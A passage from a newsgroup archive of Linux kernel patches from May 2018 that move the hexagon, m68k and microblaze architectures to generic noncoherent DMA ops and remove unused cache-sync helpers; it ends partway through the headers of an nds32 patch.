-				name, (long long)bus, size,
-				(long long)*hwdev->dma_mask);
-		return 0;
-	}
-	return 1;
-}
-
-static int hexagon_map_sg(struct device *hwdev, struct scatterlist *sg,
-			  int nents, enum dma_data_direction dir,
-			  unsigned long attrs)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
-	struct scatterlist *s;
-	int i;
-
-	WARN_ON(nents == 0 || sg[0].length == 0);
-
-	for_each_sg(sg, s, nents, i) {
-		s->dma_address = sg_phys(s);
-		if (!check_addr("map_sg", hwdev, s->dma_address, s->length))
-			return 0;
-
-		s->dma_length = s->length;
+	void *addr = phys_to_virt(paddr);
 
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		flush_dcache_range(dma_addr_to_virt(s->dma_address),
-				   dma_addr_to_virt(s->dma_address + s->length));
-	}
-
-	return nents;
-}
-
-/*
- * address is virtual
- */
-static inline void dma_sync(void *addr, size_t size,
-			    enum dma_data_direction dir)
-{
 	switch (dir) {
 	case DMA_TO_DEVICE:
 		hexagon_clean_dcache_range((unsigned long) addr,
@@ -144,81 +90,3 @@ static inline void dma_sync(void *addr, size_t size,
 		BUG();
 	}
 }
-
-/**
- * hexagon_map_page() - maps an address for device DMA
- * @dev:	pointer to DMA device
- * @page:	pointer to page struct of DMA memory
- * @offset:	offset within page
- * @size:	size of memory to map
- * @dir:	transfer direction
- * @attrs:	pointer to DMA attrs (not used)
- *
- * Called to map a memory address to a DMA address prior
- * to accesses to/from device.
- *
- * We don't particularly have many hoops to jump through
- * so far.  Straight translation between phys and virtual.
- *
- * DMA is not cache coherent so sync is necessary; this
- * seems to be a convenient place to do it.
- *
- */
-static dma_addr_t hexagon_map_page(struct device *dev, struct page *page,
-				   unsigned long offset, size_t size,
-				   enum dma_data_direction dir,
-				   unsigned long attrs)
-{
-	dma_addr_t bus = page_to_phys(page) + offset;
-	WARN_ON(size == 0);
-
-	if (!check_addr("map_single", dev, bus, size))
-		return HEXAGON_MAPPING_ERROR;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		dma_sync(dma_addr_to_virt(bus), size, dir);
-
-	return bus;
-}
-
-static void hexagon_sync_single_for_device(struct device *dev,
-					dma_addr_t dma_handle, size_t size,
-					enum dma_data_direction dir)
-{
-	dma_sync(dma_addr_to_virt(dma_handle), size, dir);
-}
-
-static void hexagon_sync_sg_for_device(struct device *dev,
-		struct scatterlist *sgl, int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sgl, sg, nents, i)
-		hexagon_sync_single_for_device(dev, sg_dma_address(sg),
-				sg->length, dir);
-}
-
-
-static int hexagon_mapping_error(struct device *dev, dma_addr_t dma_addr)
-{
-	return dma_addr == HEXAGON_MAPPING_ERROR;
-}
-
-const struct dma_map_ops hexagon_dma_ops = {
-	.alloc		= hexagon_dma_alloc_coherent,
-	.free		= hexagon_free_coherent,
-	.map_sg		= hexagon_map_sg,
-	.map_page	= hexagon_map_page,
-	.sync_single_for_device = hexagon_sync_single_for_device,
-	.sync_sg_for_device = hexagon_sync_sg_for_device,
-	.mapping_error	= hexagon_mapping_error,
-};
-
-void __init hexagon_dma_init(void)
-{
-	if (dma_ops)
-		return;
-
-	dma_ops = &hexagon_dma_ops;
-}
-- 
2.17.0


From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 04/25] m68k: use generic dma_noncoherent_ops
Date: Tue, 22 May 2018 14:04:09 +0200
Lines: 181
Approved: news@gmane.org
Message-ID: <20180522120430.28709-5-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526990794 5385 195.159.176.226 (22 May 2018 12:06:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:06:34 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 22 14:06:29 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fL63g-0001Hr-4N
	for glki-iommu@m.gmane.org; Tue, 22 May 2018 14:06:28 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id E2D84C48;
	Tue, 22 May 2018 12:05:02 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 10004C48
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:04:59 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 780686EC
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:04:58 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=kyE6Aw4cnPgHCFpsr9oNYySxeLLSSUyXyyh2DPozdAg=;
	b=LeDIcUb4U3ypwckw/i3+4+qC8
	TrfGm+VHQVaM9H1HHeR/PEolkDH2EdslBNMTf5wSIiy0bQw8AkTHXfW2Kbl7wAYvQZ2GfZ3DbFFz3
	zKOZutUTdAUrmGFO5E/Inpd2HFivWS2mldbls4GuIx8YqOBeo3yBgbWnz21hSKz59xP4+0jZJuPvv
	EeT4fyjgUE07X3CjT9hqJZqoneyYKbrUT1da/XzHzzag3eZaokMoAA4Hp+4VMjcTN4D0xz/pKwQO+
	bP+Mu5saq9ldTiVjotFnzGX28m2daa/Ot7GHYU4GRpuhHgTgkOQOFCkSIMvZsz4j+68WDNMkMrF9j
	YTFg/ItxA==;
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fL623-00081O-51; Tue, 22 May 2018 12:04:47 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24490 gmane.linux.kernel.cross-arch:44299 gmane.linux.ports.parisc:28652 gmane.linux.ports.sh.devel:57070 gmane.linux.ports.hexagon:1758 gmane.linux.kernel:2773764 gmane.linux.ports.alpha:5079 gmane.linux.ports.sparc:27907 gmane.linux.kernel.arc:3935 gmane.linux.ports.arm.kernel:652021
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24490>

Switch to the generic noncoherent direct mapping implementation.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/m68k/Kconfig                   |  2 +
 arch/m68k/include/asm/Kbuild        |  1 +
 arch/m68k/include/asm/dma-mapping.h | 12 -----
 arch/m68k/kernel/dma.c              | 68 ++++-------------------------
 4 files changed, 11 insertions(+), 72 deletions(-)
 delete mode 100644 arch/m68k/include/asm/dma-mapping.h

diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index 785612b576f7..3f61327da2d5 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -2,6 +2,7 @@
 config M68K
 	bool
 	default y
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE if HAS_DMA
 	select ARCH_MIGHT_HAVE_PC_PARPORT if ISA
 	select ARCH_NO_COHERENT_DMA_MMAP if !MMU
 	select HAVE_IDE
@@ -24,6 +25,7 @@ config M68K
 	select MODULES_USE_ELF_RELA
 	select OLD_SIGSUSPEND3
 	select OLD_SIGACTION
+	select DMA_NONCOHERENT_OPS if HAS_DMA
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/m68k/include/asm/Kbuild b/arch/m68k/include/asm/Kbuild
index 88a9d27df1ac..a853c00f1374 100644
--- a/arch/m68k/include/asm/Kbuild
+++ b/arch/m68k/include/asm/Kbuild
@@ -1,5 +1,6 @@
 generic-y += barrier.h
 generic-y += device.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/m68k/include/asm/dma-mapping.h b/arch/m68k/include/asm/dma-mapping.h
deleted file mode 100644
index e3722ed04fbb..000000000000
--- a/arch/m68k/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,12 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _M68K_DMA_MAPPING_H
-#define _M68K_DMA_MAPPING_H
-
-extern const struct dma_map_ops m68k_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-        return &m68k_dma_ops;
-}
-
-#endif  /* _M68K_DMA_MAPPING_H */
diff --git a/arch/m68k/kernel/dma.c b/arch/m68k/kernel/dma.c
index c01b9b8f97bf..3d561c577d35 100644
--- a/arch/m68k/kernel/dma.c
+++ b/arch/m68k/kernel/dma.c
@@ -6,7 +6,7 @@
 
 #undef DEBUG
 
-#include <linux/dma-mapping.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/device.h>
 #include <linux/kernel.h>
 #include <linux/scatterlist.h>
@@ -18,7 +18,7 @@
 
 #if defined(CONFIG_MMU) && !defined(CONFIG_COLDFIRE)
 
-static void *m68k_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 		gfp_t flag, unsigned long attrs)
 {
 	struct page *page, **map;
@@ -61,7 +61,7 @@ static void *m68k_dma_alloc(struct device *dev, size_t size, dma_addr_t *handle,
 	return addr;
 }
 
-static void m68k_dma_free(struct device *dev, size_t size, void *addr,
+void arch_dma_free(struct device *dev, size_t size, void *addr,
 		dma_addr_t handle, unsigned long attrs)
 {
 	pr_debug("dma_free_coherent: %p, %x\n", addr, handle);
@@ -72,8 +72,8 @@ static void m68k_dma_free(struct device *dev, size_t size, void *addr,
 
 #include <asm/cacheflush.h>
 
-static void *m68k_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -88,7 +88,7 @@ static void *m68k_dma_alloc(struct device *dev, size_t size,
 	return ret;
 }
 
-static void m68k_dma_free(struct device *dev, size_t size, void *vaddr,
+void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 		dma_addr_t dma_handle, unsigned long attrs)
 {
 	free_pages((unsigned long)vaddr, get_order(size));
@@ -96,8 +96,8 @@ static void m68k_dma_free(struct device *dev, size_t size, void *vaddr,
 
 #endif /* CONFIG_MMU && !CONFIG_COLDFIRE */
 
-static void m68k_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t handle, size_t size, enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t handle,
+		size_t size, enum dma_data_direction dir)
 {
 	switch (dir) {
 	case DMA_BIDIRECTIONAL:
@@ -113,55 +113,3 @@ static void m68k_dma_sync_single_for_device(struct device *dev,
 		break;
 	}
 }
-
-static void m68k_dma_sync_sg_for_device(struct device *dev,
-		struct scatterlist *sglist, int nents, enum dma_data_direction dir)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nents, i) {
-		dma_sync_single_for_device(dev, sg->dma_address, sg->length,
-					   dir);
-	}
-}
-
-static dma_addr_t m68k_dma_map_page(struct device *dev, struct page *page,
-		unsigned long offset, size_t size, enum dma_data_direction dir,
-		unsigned long attrs)
-{
-	dma_addr_t handle = page_to_phys(page) + offset;
-
-	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
-		dma_sync_single_for_device(dev, handle, size, dir);
-
-	return handle;
-}
-
-static int m68k_dma_map_sg(struct device *dev, struct scatterlist *sglist,
-		int nents, enum dma_data_direction dir, unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sglist, sg, nents, i) {
-		sg->dma_address = sg_phys(sg);
-
-		if (attrs & DMA_ATTR_SKIP_CPU_SYNC)
-			continue;
-
-		dma_sync_single_for_device(dev, sg->dma_address, sg->length,
-					   dir);
-	}
-	return nents;
-}
-
-const struct dma_map_ops m68k_dma_ops = {
-	.alloc			= m68k_dma_alloc,
-	.free			= m68k_dma_free,
-	.map_page		= m68k_dma_map_page,
-	.map_sg			= m68k_dma_map_sg,
-	.sync_single_for_device	= m68k_dma_sync_single_for_device,
-	.sync_sg_for_device	= m68k_dma_sync_sg_for_device,
-};
-EXPORT_SYMBOL(m68k_dma_ops);
-- 
2.17.0


From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: [PATCH 06/25] microblaze: remove the consistent_sync and
 consistent_sync_page
Date: Tue, 22 May 2018 14:04:11 +0200
Lines: 77
Approved: news@gmane.org
Message-ID: <20180522120430.28709-7-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526990886 12299 195.159.176.226 (22 May 2018 12:08:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:08:06 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Tue May 22 14:08:01 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fL659-0002zv-T1
	for gla-linux-snps-arc@m.gmane.org; Tue, 22 May 2018 14:08:00 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=5uBuFu+AGouPt9g2t+NBQ1UMR5CU5XhJIngrBXM/yMk=; b=ivVspvbdOLQQHcb7AECNTFuJNp
	ZIDO3xgHCU85xqTmNgu32OzPZwrJUjNNo5nMtDG21zn7j6MJANAEHest1PKVCJil5JYzzdoprZ2kg
	3e3qfgpR+R0uxwm7TubK5I3OeuzK36gxSyN1Tk+xVuT2HN1MIk0fmhPPFi+Sk8IE0eUp8Rg/SlDZ8
	HolMVUxPWYYQQvgw48e5J0ZSYu+zkcsFFQYpK4nLylaEu/n2VQOz14aG34EPHP3bQJ3PKlUIEdQU0
	P1c6Ll9Ur7NmkdJ4SCylJmkjIcvjzKjYWRQQi1AICQv/XKw780hIfgLk7cl4QzAT4usaBgtxu2Xeh
	Wom2HRaw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fL67D-0004L6-LD; Tue, 22 May 2018 12:10:07 +0000
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fL62A-000865-Cx; Tue, 22 May 2018 12:04:54 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180522120430.28709-1-hch@lst.de>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3936 gmane.linux.kernel.iommu:24491 gmane.linux.kernel.cross-arch:44300 gmane.linux.ports.parisc:28653 gmane.linux.ports.sh.devel:57071 gmane.linux.ports.hexagon:1759 gmane.linux.kernel:2773773 gmane.linux.ports.alpha:5080 gmane.linux.ports.sparc:27908 gmane.linux.ports.arm.kernel:652026
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3936>

Both unused.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/microblaze/include/asm/pgtable.h |  3 --
 arch/microblaze/mm/consistent.c       | 45 ---------------------------
 2 files changed, 48 deletions(-)

diff --git a/arch/microblaze/include/asm/pgtable.h b/arch/microblaze/include/asm/pgtable.h
index 8a2e654b709f..7b650ab14fa0 100644
--- a/arch/microblaze/include/asm/pgtable.h
+++ b/arch/microblaze/include/asm/pgtable.h
@@ -553,9 +553,6 @@ void __init *early_get_page(void);
 
 extern unsigned long ioremap_bot, ioremap_base;
 
-void consistent_sync(void *vaddr, size_t size, int direction);
-void consistent_sync_page(struct page *page, unsigned long offset,
-	size_t size, int direction);
 unsigned long consistent_virt_to_pfn(void *vaddr);
 
 void setup_memory(void);
diff --git a/arch/microblaze/mm/consistent.c b/arch/microblaze/mm/consistent.c
index b9a9c8c3397b..c9a278ac795a 100644
--- a/arch/microblaze/mm/consistent.c
+++ b/arch/microblaze/mm/consistent.c
@@ -220,48 +220,3 @@ void arch_dma_free(struct device *dev, size_t size, void *vaddr,
 	flush_tlb_all();
 #endif
 }
-
-/*
- * make an area consistent.
- */
-void consistent_sync(void *vaddr, size_t size, int direction)
-{
-	unsigned long start;
-	unsigned long end;
-
-	start = (unsigned long)vaddr;
-
-	/* Convert start address back down to unshadowed memory region */
-#ifdef CONFIG_XILINX_UNCACHED_SHADOW
-	start &= ~UNCACHED_SHADOW_MASK;
-#endif
-	end = start + size;
-
-	switch (direction) {
-	case PCI_DMA_NONE:
-		BUG();
-	case PCI_DMA_FROMDEVICE:	/* invalidate only */
-		invalidate_dcache_range(start, end);
-		break;
-	case PCI_DMA_TODEVICE:		/* writeback only */
-		flush_dcache_range(start, end);
-		break;
-	case PCI_DMA_BIDIRECTIONAL:	/* writeback and invalidate */
-		flush_dcache_range(start, end);
-		break;
-	}
-}
-EXPORT_SYMBOL(consistent_sync);
-
-/*
- * consistent_sync_page makes memory consistent. identical
- * to consistent_sync, but takes a struct page instead of a
- * virtual address
- */
-void consistent_sync_page(struct page *page, unsigned long offset,
-	size_t size, int direction)
-{
-	unsigned long start = (unsigned long)page_address(page) + offset;
-	consistent_sync((void *)start, size, direction);
-}
-EXPORT_SYMBOL(consistent_sync_page);
-- 
2.17.0

From - Thu Nov 08 21:41:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 08/25] nds32: consolidate DMA cache maintainance routines
Date: Tue, 22 May 2018 14:04:13 +0200
Lines: 205
Approved: news@gmane.org
Message-ID: <20180522120430.28709-9-hch@lst.de>
References: <20180522120430.28709-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526990907 13584 195.159.176.226 (22 May 2018 12:08:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 May 2018 12:08:27 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue May 22 14:08:21 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fL65T-0003PJ-Gw
	for glki-iommu@m.gmane.org; Tue, 22 May 2018 14:08:19 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 76536CBE;
	Tue, 22 May 2018 12:05:12 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 4C291C5D
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 22 May 2018 12:05:11 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
